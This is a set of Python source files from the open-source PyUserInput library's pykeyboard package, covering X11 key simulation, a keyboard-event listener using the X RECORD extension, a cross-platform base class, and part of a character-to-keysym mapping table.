:attr:`Xlib.X.KeyPress` or :attr:`Xlib.X.KeyRelease`
"""
try:
# Detect uppercase or shifted character
shifted = self.is_char_shifted(character)
except AttributeError:
# Handle the case of integer keycode argument
with display_manager(self.display) as d:
fake_input(d, event, character)
else:
with display_manager(self.display) as d:
if shifted:
fake_input(d, event, self.shift_key)
keycode = self.lookup_character_keycode(character)
fake_input(d, event, keycode)
def press_key(self, character=''):
"""
Press a given character key. Also works with character keycodes as
integers, but not keysyms.
"""
self._handle_key(character, X.KeyPress)
def release_key(self, character=''):
"""
Release a given character key. Also works with character keycodes as
integers, but not keysyms.
"""
self._handle_key(character, X.KeyRelease)
def special_key_assignment(self):
"""
Determines the keycodes for common special keys on the keyboard. These
are integer values and can be passed to the other key methods.
Generally speaking, these are non-printable codes.
"""
#This set of keys compiled using the X11 keysymdef.h file as reference
#They comprise a relatively universal set of keys, though there may be
#exceptions which may come up for other OSes and vendors. Countless
#special cases exist which are not handled here, but may be extended.
#TTY Function Keys
self.backspace_key = self.lookup_character_keycode('BackSpace')
self.tab_key = self.lookup_character_keycode('Tab')
self.linefeed_key = self.lookup_character_keycode('Linefeed')
self.clear_key = self.lookup_character_keycode('Clear')
self.return_key = self.lookup_character_keycode('Return')
self.enter_key = self.return_key # Because many keyboards call it "Enter"
self.pause_key = self.lookup_character_keycode('Pause')
self.scroll_lock_key = self.lookup_character_keycode('Scroll_Lock')
self.sys_req_key = self.lookup_character_keycode('Sys_Req')
self.escape_key = self.lookup_character_keycode('Escape')
self.delete_key = self.lookup_character_keycode('Delete')
#Modifier Keys
self.shift_l_key = self.lookup_character_keycode('Shift_L')
self.shift_r_key = self.lookup_character_keycode('Shift_R')
self.shift_key = self.shift_l_key # Default Shift is left Shift
self.alt_l_key = self.lookup_character_keycode('Alt_L')
self.alt_r_key = self.lookup_character_keycode('Alt_R')
self.altgr_key = self.lookup_character_keycode('ISO_Level3_Shift')
self.alt_key = self.alt_l_key # Default Alt is left Alt
self.control_l_key = self.lookup_character_keycode('Control_L')
self.control_r_key = self.lookup_character_keycode('Control_R')
self.control_key = self.control_l_key # Default Ctrl is left Ctrl
self.caps_lock_key = self.lookup_character_keycode('Caps_Lock')
self.capital_key = self.caps_lock_key # Some may know it as Capital
self.shift_lock_key = self.lookup_character_keycode('Shift_Lock')
self.meta_l_key = self.lookup_character_keycode('Meta_L')
self.meta_r_key = self.lookup_character_keycode('Meta_R')
self.super_l_key = self.lookup_character_keycode('Super_L')
self.windows_l_key = self.super_l_key # Cross-support; also it's printed there
self.super_r_key = self.lookup_character_keycode('Super_R')
self.windows_r_key = self.super_r_key # Cross-support; also it's printed there
self.hyper_l_key = self.lookup_character_keycode('Hyper_L')
self.hyper_r_key = self.lookup_character_keycode('Hyper_R')
#Cursor Control and Motion
self.home_key = self.lookup_character_keycode('Home')
self.up_key = self.lookup_character_keycode('Up')
self.down_key = self.lookup_character_keycode('Down')
self.left_key = self.lookup_character_keycode('Left')
self.right_key = self.lookup_character_keycode('Right')
self.end_key = self.lookup_character_keycode('End')
self.begin_key = self.lookup_character_keycode('Begin')
self.page_up_key = self.lookup_character_keycode('Page_Up')
self.page_down_key = self.lookup_character_keycode('Page_Down')
self.prior_key = self.lookup_character_keycode('Prior')
self.next_key = self.lookup_character_keycode('Next')
#Misc Functions
self.select_key = self.lookup_character_keycode('Select')
self.print_key = self.lookup_character_keycode('Print')
self.print_screen_key = self.print_key # Seems to be the same thing
self.snapshot_key = self.print_key # Another name for printscreen
self.execute_key = self.lookup_character_keycode('Execute')
self.insert_key = self.lookup_character_keycode('Insert')
self.undo_key = self.lookup_character_keycode('Undo')
self.redo_key = self.lookup_character_keycode('Redo')
self.menu_key = self.lookup_character_keycode('Menu')
self.apps_key = self.menu_key # Windows...
self.find_key = self.lookup_character_keycode('Find')
self.cancel_key = self.lookup_character_keycode('Cancel')
self.help_key = self.lookup_character_keycode('Help')
self.break_key = self.lookup_character_keycode('Break')
self.mode_switch_key = self.lookup_character_keycode('Mode_switch')
self.script_switch_key = self.lookup_character_keycode('script_switch')
self.num_lock_key = self.lookup_character_keycode('Num_Lock')
#Keypad Keys: Dictionary structure
keypad = ['Space', 'Tab', 'Enter', 'F1', 'F2', 'F3', 'F4', 'Home',
'Left', 'Up', 'Right', 'Down', 'Prior', 'Page_Up', 'Next',
'Page_Down', 'End', 'Begin', 'Insert', 'Delete', 'Equal',
'Multiply', 'Add', 'Separator', 'Subtract', 'Decimal',
'Divide', 0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
self.keypad_keys = dict((k, self.lookup_character_keycode('KP_'+str(k))) for k in keypad)
self.numpad_keys = self.keypad_keys
#Function Keys/ Auxilliary Keys
#FKeys
self.function_keys = [None] + [self.lookup_character_keycode('F'+str(i)) for i in range(1,36)]
#LKeys
self.l_keys = [None] + [self.lookup_character_keycode('L'+str(i)) for i in range(1,11)]
#RKeys
self.r_keys = [None] + [self.lookup_character_keycode('R'+str(i)) for i in range(1,16)]
#Unsupported keys from windows
self.kana_key = None
self.hangeul_key = None # old name - should be here for compatibility
self.hangul_key = None
self.junjua_key = None
self.final_key = None
self.hanja_key = None
self.kanji_key = None
self.convert_key = None
self.nonconvert_key = None
self.accept_key = None
self.modechange_key = None
self.sleep_key = None
def lookup_character_keycode(self, character):
"""
Looks up the keysym for the character then returns the keycode mapping
for that keysym.
"""
keysym = Xlib.XK.string_to_keysym(character)
if not keysym:
try:
keysym = getattr(Xlib.keysymdef.xkb, 'XK_' + character, 0)
except:
keysym = 0
if not keysym:
keysym = Xlib.XK.string_to_keysym(KEYSYMS[character])
return self.display.keysym_to_keycode(keysym)
class PyKeyboardEvent(PyKeyboardEventMeta):
"""
The PyKeyboardEvent implementation for X11 systems (mostly linux). This
allows one to listen for keyboard input.
"""
def __init__(self, capture=False, display=None):
self.display = Display(display)
self.display2 = Display(display)
self.ctx = self.display2.record_create_context(
0,
[record.AllClients],
[{
'core_requests': (0, 0),
'core_replies': (0, 0),
'ext_requests': (0, 0, 0, 0),
'ext_replies': (0, 0, 0, 0),
'delivered_events': (0, 0),
'device_events': (X.KeyPress, X.KeyRelease),
'errors': (0, 0),
'client_started': False,
'client_died': False,
}])
self.lock_meaning = None
#Get these dictionaries for converting keysyms and strings
self.keysym_to_string, self.string_to_keysym = self.get_translation_dicts()
#Identify and register special groups of keys
self.modifier_keycodes = {}
self.all_mod_keycodes = []
self.keypad_keycodes = []
#self.configure_keys()
#Direct access to the display's keycode-to-keysym array
#print('Keycode to Keysym map')
#for i in range(len(self.display._keymap_codes)):
# print('{0}: {1}'.format(i, self.display._keymap_codes[i]))
PyKeyboardEventMeta.__init__(self, capture)
def run(self):
"""Begin listening for keyboard input events."""
self.state = True
if self.capture:
self.display2.screen().root.grab_keyboard(X.KeyPressMask | X.KeyReleaseMask, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime)
self.display2.record_enable_context(self.ctx, self.handler)
self.display2.record_free_context(self.ctx)
def stop(self):
"""Stop listening for keyboard input events."""
self.state = False
with display_manager(self.display) as d:
d.record_disable_context(self.ctx)
d.ungrab_keyboard(X.CurrentTime)
with display_manager(self.display2):
d.record_disable_context(self.ctx)
d.ungrab_keyboard(X.CurrentTime)
def handler(self, reply):
"""Upper level handler of keyboard events."""
data = reply.data
while len(data):
event, data = rq.EventField(None).parse_binary_value(data, self.display.display, None, None)
if self.escape(event): # Quit if this returns True
self.stop()
else:
self._tap(event)
def _tap(self, event):
keycode = event.detail
press_bool = (event.type == X.KeyPress)
#Detect modifier states from event.state
for mod, bit in self.modifier_bits.items():
self.modifiers[mod] = event.state & bit
if keycode in self.all_mod_keycodes:
keysym = self.display.keycode_to_keysym(keycode, 0)
character = self.keysym_to_string[keysym]
else:
character = self.lookup_char_from_keycode(keycode)
#All key events get passed to self.tap()
self.tap(keycode,
character,
press=press_bool)
def lookup_char_from_keycode(self, keycode):
"""
This will conduct a lookup of the character or string associated with a
given keycode.
"""
#TODO: Logic should be strictly adapted from X11's src/KeyBind.c
#Right now the logic is based off of
#http://tronche.com/gui/x/xlib/input/keyboard-encoding.html
#Which I suspect is not the whole story and may likely cause bugs
keysym_index = 0
#TODO: Display's Keysyms per keycode count? Do I need this?
#If the Num_Lock is on, and the keycode corresponds to the keypad
if self.modifiers['Num_Lock'] and keycode in self.keypad_keycodes:
if self.modifiers['Shift'] or self.modifiers['Shift_Lock']:
keysym_index = 0
else:
keysym_index = 1
elif not self.modifiers['Shift'] and self.modifiers['Caps_Lock']:
#Use the first keysym if uppercase or uncased
#Use the uppercase keysym if the first is lowercase (second)
keysym_index = 0
keysym = self.display.keycode_to_keysym(keycode, keysym_index)
#TODO: Support Unicode, Greek, and special latin characters
if keysym & 0x7f == keysym and chr(keysym) in 'abcdefghijklmnopqrstuvwxyz':
keysym_index = 1
elif self.modifiers['Shift'] and self.modifiers['Caps_Lock']:
keysym_index = 1
keysym = self.display.keycode_to_keysym(keycode, keysym_index)
#TODO: Support Unicode, Greek, and special latin characters
if keysym & 0x7f == keysym and chr(keysym) in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
keysym_index = 0
elif self.modifiers['Shift'] or self.modifiers['Shift_Lock']:
keysym_index = 1
if self.modifiers['Mode_switch']:
keysym_index += 2
#Finally! Get the keysym
keysym = self.display.keycode_to_keysym(keycode, keysym_index)
#If the character is ascii printable, return that character
if keysym & 0x7f == keysym and self.ascii_printable(keysym):
return chr(keysym)
#If the character was not printable, look for its name
try:
char = self.keysym_to_string[keysym]
except KeyError:
print('Unable to determine character.')
print('Keycode: {0} KeySym {1}'.format(keycode, keysym))
return None
else:
return char
def escape(self, event):
if event.detail == self.lookup_character_keycode('Escape'):
return True
return False
def configure_keys(self):
"""
This function locates the keycodes corresponding to special groups of
keys and creates data structures of them for use by the PyKeyboardEvent
instance; including the keypad keys and the modifiers.
The keycodes pertaining to the keyboard modifiers are assigned by the
modifier name in a dictionary. This dictionary can be accessed in the
following manner:
self.modifier_keycodes['Shift'] # All keycodes for Shift Masking
It also assigns certain named modifiers (Alt, Num_Lock, Super), which
may be dynamically assigned to Mod1 - Mod5 on different platforms. This
should generally allow the user to do the following lookups on any
system:
self.modifier_keycodes['Alt'] # All keycodes for Alt Masking
self.modifiers['Alt'] # State of Alt mask, non-zero if "ON"
"""
modifier_mapping = self.display.get_modifier_mapping()
all_mod_keycodes = []
mod_keycodes = {}
mod_index = [('Shift', X.ShiftMapIndex), ('Lock', X.LockMapIndex),
('Control', X.ControlMapIndex), ('Mod1', X.Mod1MapIndex),
('Mod2', X.Mod2MapIndex), ('Mod3', X.Mod3MapIndex),
('Mod4', X.Mod4MapIndex), ('Mod5', X.Mod5MapIndex)]
#This gets the list of all keycodes per Modifier, assigns to name
for name, index in mod_index:
codes = [v for v in list(modifier_mapping[index]) if v]
mod_keycodes[name] = codes
all_mod_keycodes += codes
def lookup_keycode(string):
keysym = self.string_to_keysym[string]
return self.display.keysym_to_keycode(keysym)
#Dynamically assign Lock to Caps_Lock, Shift_Lock, Alt, Num_Lock, Super,
#and mode switch. Set in both mod_keycodes and self.modifier_bits
#Try to assign Lock to Caps_Lock or Shift_Lock
shift_lock_keycode = lookup_keycode('Shift_Lock')
caps_lock_keycode = lookup_keycode('Caps_Lock')
if shift_lock_keycode in mod_keycodes['Lock']:
mod_keycodes['Shift_Lock'] = [shift_lock_keycode]
self.modifier_bits['Shift_Lock'] = self.modifier_bits['Lock']
self.lock_meaning = 'Shift_Lock'
elif caps_lock_keycode in mod_keycodes['Lock']:
mod_keycodes['Caps_Lock'] = [caps_lock_keycode]
self.modifier_bits['Caps_Lock'] = self.modifier_bits['Lock']
self.lock_meaning = 'Caps_Lock'
else:
self.lock_meaning = None
#print('Lock is bound to {0}'.format(self.lock_meaning))
#Need to find out which Mod# to use for Alt, Num_Lock, Super, and
#Mode_switch
num_lock_keycodes = [lookup_keycode('Num_Lock')]
alt_keycodes = [lookup_keycode(i) for i in ['Alt_L', 'Alt_R']]
super_keycodes = [lookup_keycode(i) for i in ['Super_L', 'Super_R']]
mode_switch_keycodes = [lookup_keycode('Mode_switch')]
#Detect Mod number for Alt, Num_Lock, and Super
for name, keycodes in list(mod_keycodes.items()):
for alt_key in alt_keycodes:
if alt_key in keycodes:
mod_keycodes['Alt'] = keycodes
self.modifier_bits['Alt'] = self.modifier_bits[name]
for num_lock_key in num_lock_keycodes:
if num_lock_key in keycodes:
mod_keycodes['Num_Lock'] = keycodes
self.modifier_bits['Num_Lock'] = self.modifier_bits[name]
for super_key in super_keycodes:
if super_key in keycodes:
mod_keycodes['Super'] = keycodes
self.modifier_bits['Super'] = self.modifier_bits[name]
for mode_switch_key in mode_switch_keycodes:
if mode_switch_key in keycodes:
mod_keycodes['Mode_switch'] = keycodes
self.modifier_bits['Mode_switch'] = self.modifier_bits[name]
#Assign the mod_keycodes to a local variable for access
self.modifier_keycodes = mod_keycodes
self.all_mod_keycodes = all_mod_keycodes
#TODO: Determine if this might fail, perhaps iterate through the mapping
#and identify all keycodes with registered keypad keysyms?
#Acquire the full list of keypad keycodes
self.keypad_keycodes = []
keypad = ['Space', 'Tab', 'Enter', 'F1', 'F2', 'F3', 'F4', 'Home',
'Left', 'Up', 'Right', 'Down', 'Prior', 'Page_Up', 'Next',
'Page_Down', 'End', 'Begin', 'Insert', 'Delete', 'Equal',
'Multiply', 'Add', 'Separator', 'Subtract', 'Decimal',
'Divide', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
for keyname in keypad:
keypad_keycode = self.lookup_character_keycode('KP_' + keyname)
self.keypad_keycodes.append(keypad_keycode)
def lookup_character_keycode(self, character):
"""
Looks up the keysym for the character then returns the keycode mapping
for that keysym.
"""
keysym = self.string_to_keysym.get(character, 0)
if keysym == 0:
keysym = self.string_to_keysym.get(KEYSYMS[character], 0)
return self.display.keysym_to_keycode(keysym)
def get_translation_dicts(self):
"""
Returns dictionaries for the translation of keysyms to strings and from
strings to keysyms.
"""
keysym_to_string_dict = {}
string_to_keysym_dict = {}
#XK loads latin1 and miscellany on its own; load latin2-4 and greek
Xlib.XK.load_keysym_group('latin2')
Xlib.XK.load_keysym_group('latin3')
Xlib.XK.load_keysym_group('latin4')
Xlib.XK.load_keysym_group('greek')
#Make a standard dict and the inverted dict
for string, keysym in Xlib.XK.__dict__.items():
if string.startswith('XK_'):
string_to_keysym_dict[string[3:]] = keysym
keysym_to_string_dict[keysym] = string[3:]
return keysym_to_string_dict, string_to_keysym_dict
def ascii_printable(self, keysym):
"""
If the keysym corresponds to a non-printable ascii character this will
return False. If it is printable, then True will be returned.
ascii 11 (vertical tab) and ascii 12 are printable, chr(11) and chr(12)
will return '\x0b' and '\x0c' respectively.
"""
if 0 <= keysym < 9:
return False
elif 13 < keysym < 32:
return False
elif keysym > 126:
return False
else:
return True
| 22,178 | Python | .py | 440 | 40.225 | 137 | 0.625923 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,880 | __init__.py | SavinaRoja_PyUserInput/pykeyboard/__init__.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
The goal of PyMouse is to have a cross-platform way to control the mouse.
PyMouse should work on Windows, Mac and any Unix that has xlib.
PyKeyboard is a part of PyUserInput, along with PyMouse, for more information
about this project, see:
http://github.com/SavinaRoja/PyUserInput
"""
import sys
if sys.platform.startswith('java'):
from .java_ import PyKeyboard
elif sys.platform == 'darwin':
from .mac import PyKeyboard, PyKeyboardEvent
elif sys.platform == 'win32':
from .windows import PyKeyboard, PyKeyboardEvent
else:
from .x11 import PyKeyboard, PyKeyboardEvent
| 1,250 | Python | .py | 30 | 39.9 | 77 | 0.788953 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,881 | base.py | SavinaRoja_PyUserInput/pykeyboard/base.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
As the base file, this provides a rough operational model along with the
framework to be extended by each platform.
"""
import time
from threading import Thread
class PyKeyboardMeta(object):
"""
The base class for PyKeyboard. Represents basic operational model.
"""
#: We add this named character for convenience
space = ' '
def press_key(self, character=''):
"""Press a given character key."""
raise NotImplementedError
def release_key(self, character=''):
"""Release a given character key."""
raise NotImplementedError
def tap_key(self, character='', n=1, interval=0):
"""Press and release a given character key n times."""
for i in range(n):
self.press_key(character)
self.release_key(character)
time.sleep(interval)
def press_keys(self,characters=[]):
"""Press a given character key."""
for character in characters:
self.press_key(character)
for character in characters:
self.release_key(character)
def type_string(self, char_string, interval=0):
"""
A convenience method for typing longer strings of characters. Generates
as few Shift events as possible."""
shift = False
for char in char_string:
if self.is_char_shifted(char):
if not shift: # Only press Shift as needed
time.sleep(interval)
self.press_key(self.shift_key)
shift = True
#In order to avoid tap_key pressing Shift, we need to pass the
#unshifted form of the character
if char in '<>?:"{}|~!@#$%^&*()_+':
ch_index = '<>?:"{}|~!@#$%^&*()_+'.index(char)
unshifted_char = ",./;'[]\\`1234567890-="[ch_index]
else:
unshifted_char = char.lower()
time.sleep(interval)
self.tap_key(unshifted_char)
else: # Unshifted already
if shift and char != ' ': # Only release Shift as needed
self.release_key(self.shift_key)
shift = False
time.sleep(interval)
self.tap_key(char)
if shift: # Turn off Shift if it's still ON
self.release_key(self.shift_key)
def special_key_assignment(self):
"""Makes special keys more accessible."""
raise NotImplementedError
def lookup_character_value(self, character):
"""
If necessary, lookup a valid API value for the key press from the
character.
"""
raise NotImplementedError
def is_char_shifted(self, character):
"""Returns True if the key character is uppercase or shifted."""
if character.isupper():
return True
if character in '<>?:"{}|~!@#$%^&*()_+':
return True
return False
class PyKeyboardEventMeta(Thread):
"""
The base class for PyKeyboard. Represents basic operational model.
"""
#One of the most variable components of keyboards throughout history and
#across manufacturers is the Modifier Key...
#I am attempting to cover a lot of bases to make using PyKeyboardEvent
#simpler, without digging a bunch of traps for incompatibilities between
#platforms.
#Keeping track of the keyboard's state is not only necessary at times to
#correctly interpret character identities in keyboard events, but should
#also enable a user to easily query modifier states without worrying about
#chaining event triggers for mod-combinations
#The keyboard's state will be represented by an integer, the individual
#mod keys by a bit mask of that integer
state = 0
#Each platform should assign, where applicable/possible, the bit masks for
#modifier keys initially set to 0 here. Not all modifiers are recommended
#for cross-platform use
modifier_bits = {'Shift': 1,
'Lock': 2,
'Control': 4,
'Mod1': 8, # X11 dynamic assignment
'Mod2': 16, # X11 dynamic assignment
'Mod3': 32, # X11 dynamic assignment
'Mod4': 64, # X11 dynamic assignment
'Mod5': 128, # X11 dynamic assignment
'Alt': 0,
'AltGr': 0, # Uncommon
'Caps_Lock': 0,
'Command': 0, # Mac key without generic equivalent
'Function': 0, # Not advised; typically undetectable
'Hyper': 0, # Uncommon?
'Meta': 0, # Uncommon?
'Num_Lock': 0,
'Mode_switch': 0, # Uncommon
'Shift_Lock': 0, # Uncommon
'Super': 0, # X11 key, sometimes equivalent to Windows
'Windows': 0} # Windows key, sometimes equivalent to Super
#Make the modifiers dictionary for individual states, setting all to off
modifiers = {}
for key in modifier_bits.keys():
modifiers[key] = False
def __init__(self, capture=False):
Thread.__init__(self)
self.daemon = True
self.capture = capture
self.state = True
self.configure_keys()
def run(self):
self.state = True
def stop(self):
self.state = False
def handler(self):
raise NotImplementedError
def tap(self, keycode, character, press):
"""
Subclass this method with your key event handler. It will receive
the keycode associated with the key event, as well as string name for
the key if one can be assigned (keyboard mask states will apply). The
argument 'press' will be True if the key was depressed and False if the
key was released.
"""
pass
def escape(self, event):
"""
A function that defines when to stop listening; subclass this with your
escape behavior. If the program is meant to stop, this method should
return True. Every key event will go through this method before going to
tap(), allowing this method to check for exit conditions.
The default behavior is to stop when the 'Esc' key is pressed.
If one wishes to use key combinations, or key series, one might be
interested in reading about Finite State Machines.
http://en.wikipedia.org/wiki/Deterministic_finite_automaton
"""
condition = None
return event == condition
def configure_keys(self):
"""
Does per-platform work of configuring the modifier keys as well as data
structures for simplified key access. Does nothing in this base
implementation.
"""
pass
| 7,566 | Python | .py | 172 | 34.127907 | 80 | 0.615071 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,882 | mir.py | SavinaRoja_PyUserInput/pykeyboard/mir.py | #Copyright 2013 Paul Barton
#
#This program is free software: you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#GNU General Public License for more details.
#
#You should have received a copy of the GNU General Public License
#along with this program. If not, see <http://www.gnu.org/licenses/>.
| 654 | Python | .py | 14 | 45.714286 | 70 | 0.795313 | SavinaRoja/PyUserInput | 1,070 | 244 | 73 | GPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,883 | x11_keysyms.py | SavinaRoja_PyUserInput/pykeyboard/x11_keysyms.py | # coding: utf-8
# Copyright 2015 Moses Palmér
#
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the Free
# Software Foundation, either version 3 of the License, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program. If not, see <http://www.gnu.org/licenses/>.
KEYSYMS = {
u'\u0020': 'space',
u'\u0021': 'exclam',
u'\u0022': 'quotedbl',
u'\u0023': 'numbersign',
u'\u0024': 'dollar',
u'\u0025': 'percent',
u'\u0026': 'ampersand',
u'\u0027': 'apostrophe',
u'\u0027': 'quoteright',
u'\u0028': 'parenleft',
u'\u0029': 'parenright',
u'\u002a': 'asterisk',
u'\u002b': 'plus',
u'\u002c': 'comma',
u'\u002d': 'minus',
u'\u002e': 'period',
u'\u002f': 'slash',
u'\u0030': '0',
u'\u0031': '1',
u'\u0032': '2',
u'\u0033': '3',
u'\u0034': '4',
u'\u0035': '5',
u'\u0036': '6',
u'\u0037': '7',
u'\u0038': '8',
u'\u0039': '9',
u'\u003a': 'colon',
u'\u003b': 'semicolon',
u'\u003c': 'less',
u'\u003d': 'equal',
u'\u003e': 'greater',
u'\u003f': 'question',
u'\u0040': 'at',
u'\u0041': 'A',
u'\u0042': 'B',
u'\u0043': 'C',
u'\u0044': 'D',
u'\u0045': 'E',
u'\u0046': 'F',
u'\u0047': 'G',
u'\u0048': 'H',
u'\u0049': 'I',
u'\u004a': 'J',
u'\u004b': 'K',
u'\u004c': 'L',
u'\u004d': 'M',
u'\u004e': 'N',
u'\u004f': 'O',
u'\u0050': 'P',
u'\u0051': 'Q',
u'\u0052': 'R',
u'\u0053': 'S',
u'\u0054': 'T',
u'\u0055': 'U',
u'\u0056': 'V',
u'\u0057': 'W',
u'\u0058': 'X',
u'\u0059': 'Y',
u'\u005a': 'Z',
u'\u005b': 'bracketleft',
u'\u005c': 'backslash',
u'\u005d': 'bracketright',
u'\u005e': 'asciicircum',
u'\u005f': 'underscore',
u'\u0060': 'grave',
u'\u0060': 'quoteleft',
u'\u0061': 'a',
u'\u0062': 'b',
u'\u0063': 'c',
u'\u0064': 'd',
u'\u0065': 'e',
u'\u0066': 'f',
u'\u0067': 'g',
u'\u0068': 'h',
u'\u0069': 'i',
u'\u006a': 'j',
u'\u006b': 'k',
u'\u006c': 'l',
u'\u006d': 'm',
u'\u006e': 'n',
u'\u006f': 'o',
u'\u0070': 'p',
u'\u0071': 'q',
u'\u0072': 'r',
u'\u0073': 's',
u'\u0074': 't',
u'\u0075': 'u',
u'\u0076': 'v',
u'\u0077': 'w',
u'\u0078': 'x',
u'\u0079': 'y',
u'\u007a': 'z',
u'\u007b': 'braceleft',
u'\u007c': 'bar',
u'\u007d': 'braceright',
u'\u007e': 'asciitilde',
u'\u00a0': 'nobreakspace',
u'\u00a1': 'exclamdown',
u'\u00a2': 'cent',
u'\u00a3': 'sterling',
u'\u00a4': 'currency',
u'\u00a5': 'yen',
u'\u00a6': 'brokenbar',
u'\u00a7': 'section',
u'\u00a8': 'diaeresis',
u'\u00a9': 'copyright',
u'\u00aa': 'ordfeminine',
u'\u00ab': 'guillemotleft',
u'\u00ac': 'notsign',
u'\u00ad': 'hyphen',
u'\u00ae': 'registered',
u'\u00af': 'macron',
u'\u00b0': 'degree',
u'\u00b1': 'plusminus',
u'\u00b2': 'twosuperior',
u'\u00b3': 'threesuperior',
u'\u00b4': 'acute',
u'\u00b5': 'mu',
u'\u00b6': 'paragraph',
u'\u00b7': 'periodcentered',
u'\u00b8': 'cedilla',
u'\u00b9': 'onesuperior',
u'\u00ba': 'masculine',
u'\u00bb': 'guillemotright',
u'\u00bc': 'onequarter',
u'\u00bd': 'onehalf',
u'\u00be': 'threequarters',
u'\u00bf': 'questiondown',
u'\u00c0': 'Agrave',
u'\u00c1': 'Aacute',
u'\u00c2': 'Acircumflex',
u'\u00c3': 'Atilde',
u'\u00c4': 'Adiaeresis',
u'\u00c5': 'Aring',
u'\u00c6': 'AE',
u'\u00c7': 'Ccedilla',
u'\u00c8': 'Egrave',
u'\u00c9': 'Eacute',
u'\u00ca': 'Ecircumflex',
u'\u00cb': 'Ediaeresis',
u'\u00cc': 'Igrave',
u'\u00cd': 'Iacute',
u'\u00ce': 'Icircumflex',
u'\u00cf': 'Idiaeresis',
u'\u00d0': 'ETH',
u'\u00d0': 'Eth',
u'\u00d1': 'Ntilde',
u'\u00d2': 'Ograve',
u'\u00d3': 'Oacute',
u'\u00d4': 'Ocircumflex',
u'\u00d5': 'Otilde',
u'\u00d6': 'Odiaeresis',
u'\u00d7': 'multiply',
u'\u00d8': 'Ooblique',
u'\u00d9': 'Ugrave',
u'\u00da': 'Uacute',
u'\u00db': 'Ucircumflex',
u'\u00dc': 'Udiaeresis',
u'\u00dd': 'Yacute',
u'\u00de': 'THORN',
u'\u00de': 'Thorn',
u'\u00df': 'ssharp',
u'\u00e0': 'agrave',
u'\u00e1': 'aacute',
u'\u00e2': 'acircumflex',
u'\u00e3': 'atilde',
u'\u00e4': 'adiaeresis',
u'\u00e5': 'aring',
u'\u00e6': 'ae',
u'\u00e7': 'ccedilla',
u'\u00e8': 'egrave',
u'\u00e9': 'eacute',
u'\u00ea': 'ecircumflex',
u'\u00eb': 'ediaeresis',
u'\u00ec': 'igrave',
u'\u00ed': 'iacute',
u'\u00ee': 'icircumflex',
u'\u00ef': 'idiaeresis',
u'\u00f0': 'eth',
u'\u00f1': 'ntilde',
u'\u00f2': 'ograve',
u'\u00f3': 'oacute',
u'\u00f4': 'ocircumflex',
u'\u00f5': 'otilde',
u'\u00f6': 'odiaeresis',
u'\u00f7': 'division',
u'\u00f8': 'oslash',
u'\u00f9': 'ugrave',
u'\u00fa': 'uacute',
u'\u00fb': 'ucircumflex',
u'\u00fc': 'udiaeresis',
u'\u00fd': 'yacute',
u'\u00fe': 'thorn',
u'\u00ff': 'ydiaeresis',
u'\u0104': 'Aogonek',
u'\u02d8': 'breve',
u'\u0141': 'Lstroke',
u'\u013d': 'Lcaron',
u'\u015a': 'Sacute',
u'\u0160': 'Scaron',
u'\u015e': 'Scedilla',
u'\u0164': 'Tcaron',
u'\u0179': 'Zacute',
u'\u017d': 'Zcaron',
u'\u017b': 'Zabovedot',
u'\u0105': 'aogonek',
u'\u02db': 'ogonek',
u'\u0142': 'lstroke',
u'\u013e': 'lcaron',
u'\u015b': 'sacute',
u'\u02c7': 'caron',
u'\u0161': 'scaron',
u'\u015f': 'scedilla',
u'\u0165': 'tcaron',
u'\u017a': 'zacute',
u'\u02dd': 'doubleacute',
u'\u017e': 'zcaron',
u'\u017c': 'zabovedot',
u'\u0154': 'Racute',
u'\u0102': 'Abreve',
u'\u0139': 'Lacute',
u'\u0106': 'Cacute',
u'\u010c': 'Ccaron',
u'\u0118': 'Eogonek',
u'\u011a': 'Ecaron',
u'\u010e': 'Dcaron',
u'\u0110': 'Dstroke',
u'\u0143': 'Nacute',
u'\u0147': 'Ncaron',
u'\u0150': 'Odoubleacute',
u'\u0158': 'Rcaron',
u'\u016e': 'Uring',
u'\u0170': 'Udoubleacute',
u'\u0162': 'Tcedilla',
u'\u0155': 'racute',
u'\u0103': 'abreve',
u'\u013a': 'lacute',
u'\u0107': 'cacute',
u'\u010d': 'ccaron',
u'\u0119': 'eogonek',
u'\u011b': 'ecaron',
u'\u010f': 'dcaron',
u'\u0111': 'dstroke',
u'\u0144': 'nacute',
u'\u0148': 'ncaron',
u'\u0151': 'odoubleacute',
u'\u0159': 'rcaron',
u'\u016f': 'uring',
u'\u0171': 'udoubleacute',
u'\u0163': 'tcedilla',
u'\u02d9': 'abovedot',
